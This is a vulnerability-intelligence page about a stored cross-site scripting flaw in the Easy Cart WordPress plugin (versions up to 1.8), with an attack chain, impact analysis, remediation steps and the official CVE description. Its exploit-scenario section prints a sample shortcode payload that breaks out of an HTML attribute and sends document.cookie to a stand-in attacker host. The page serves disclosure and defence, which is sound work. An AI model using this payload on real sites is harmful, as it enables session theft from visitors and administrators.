Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain Contributor-level WordPress account
-
DeliveryCraft add_to_cart shortcode with double-quote attribute breakout
-
ExploitPublish or update post/page containing malicious shortcode
-
ExecutionVictim (any site user or visitor) loads the injected page
-
PersistInjected event handler executes in victim's browser context
-
ImpactSession tokens or credentials exfiltrated to attacker
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an authenticated WordPress account at Contributor level or above on a site running Easy Cart version 1.8 or earlier. The attacker must have the capability to create or edit posts and pages that include shortcodes - a permission granted to Contributors by default in WordPress. The injected payload persists until the post is edited or deleted, and executes in the browser of any user (including unauthenticated visitors or administrators) who loads the affected page. Exploitation is limited by the requirement for prior Contributor authentication; unauthenticated remote exploitation is not possible. Non-default configurations that remove Contributor posting capability or disable shortcode processing would prevent exploitation. The attack does not require any special plugin configuration beyond having the Easy Cart plugin active. |
| Impact | The CVSS 3.1 base score of 6.4 (Medium) reflects a network-accessible, low-complexity attack requiring low privileges (PR:L, consistent with Contributor-level WordPress authentication) and no user interaction on the attacker's part, with a Changed scope affecting end-user browser sessions (C:L, I:L, A:N). The Changed Scope is the key amplifier: a Contributor who can only edit their own content can nonetheless compromise site visitors with higher privileges, including administrators. Real-world risk is moderate-to-significant on multi-author WordPress sites where Contributor accounts are routinely granted-a common setup for blogs, news sites, and e-commerce stores. No EPSS data was provided in the intelligence feed, making probabilistic exploitation likelihood assessment unavailable; this gap should be noted. There is no CISA KEV listing and no known POC, which lowers urgency relative to a KEV-listed issue of equivalent CVSS. The attack complexity is genuinely low once Contributor access is obtained, and the stored nature of the XSS makes it more dangerous than reflected variants because a single injection persists across all subsequent page loads. |
| Exploit ScenarioDerived | A Contributor-level user on a multi-author WordPress site with Easy Cart installed crafts a post containing a malicious shortcode such as [add_to_cart product_name='Widget" onmouseover="fetch(//attacker.example/steal?c='+document.cookie) x="' price='9.99'], which passes sanitize_text_field() validation (no HTML tags present) but breaks out of the HTML attribute context due to the unescaped double quote. The post is published and indexed by the site; any subsequent visitor who loads the page-including logged-in administrators-triggers the injected event handler, which can be used to exfiltrate session cookies or perform actions on behalf of the victim. No public POC has been confirmed, but the vulnerability's mechanics are straightforward and reproducible from the public source code references. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 02, 2026
Stored Cross-Site Scripting in the Easy Cart WordPress plugin (all versions up to and including 1.8) permits authenticated Contributor-level users to inject persistent JavaScript payloads via the 'add_to_cart' shortcode. The vulnerability originates in the ectp_add_to_cart() function at plugin.php lines 280-287, where shortcode attributes such as 'product_name', 'product_desc', 'itemid', 'product_qty', and 'price' are processed with sanitize_text_field()-a function that strips HTML tags but does not escape double-quote characters-before being embedded in double-quoted HTML attributes. This allows attribute context breakout and arbitrary event handler injection that executes against any visitor loading the affected page. No public exploit code or CISA KEV listing has been identified at time of analysis.
RemediationAI
No vendor-released patch has been identified at time of analysis - the Wordfence advisory and WordPress plugin trac references both point to the vulnerable 1.8 codebase without indicating an available fixed release. Site administrators should disable the Easy Cart plugin until a patched version is published by the vendor (zeshanb). As a compensating control, audit and restrict Contributor-level user accounts: remove or demote untrusted Contributor accounts, since this role is the minimum required for exploitation. WordPress sites with the Wordfence plugin installed should ensure the WAF rule for this CVE is active (rule ID associated with Wordfence advisory 73615729-c32a-45f7-b2d8-5c978370e18c), which may block shortcode-based injection attempts - note this is a detection/blocking control, not a fix, and should not substitute for patching. If the plugin cannot be disabled, consider restricting shortcode usage to trusted roles via a capability management plugin, with the trade-off that this may break intended e-commerce functionality. Monitor the WordPress plugin repository and Wordfence feed for an updated release.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected component is the Easy Cart WordPress plugin (vendor: zeshanb, CPE: cpe:2.3:a:zeshanb:easy_cart:*:*:*:*:*:*:*:*), a shopping cart shortcode plugin. The root cause maps to CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a context-mismatch sanitization error: WordPress's sanitize_text_field() is designed for plain-text fields and correctly strips HTML tags, but it does not perform HTML attribute encoding. When user-controlled shortcode attribute values are inserted directly into double-quoted HTML attributes without applying esc_attr() or equivalent output encoding, an attacker can inject a double-quote character to break out of the attribute boundary and append arbitrary event handlers (e.g., onmouseover, onerror). Source code references pinpoint the vulnerable insertions at plugin.php lines 263, 280, and 283-287 across both the trunk and the 1.8 tagged release.
Know when Easy Cart gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Primary rating from Vendor (Wordfence) · only source for this CVE.
CVSS VectorVendor: Wordfence
DescriptionCVE.org
The Easy Cart plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'add_to_cart' shortcode in all versions up to and including 1.8. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes. Specifically, the ectp_add_to_cart() function uses sanitize_text_field() on shortcode attributes like 'itemid', 'product_name', 'product_desc', 'product_qty', and 'price' before inserting them into double-quoted HTML attributes. While sanitize_text_field() strips HTML tags, it does not escape double quote characters, allowing an attacker to break out of the HTML attribute context and inject arbitrary event handlers. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-33892
GHSA-q97r-wcrr-7v9h
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB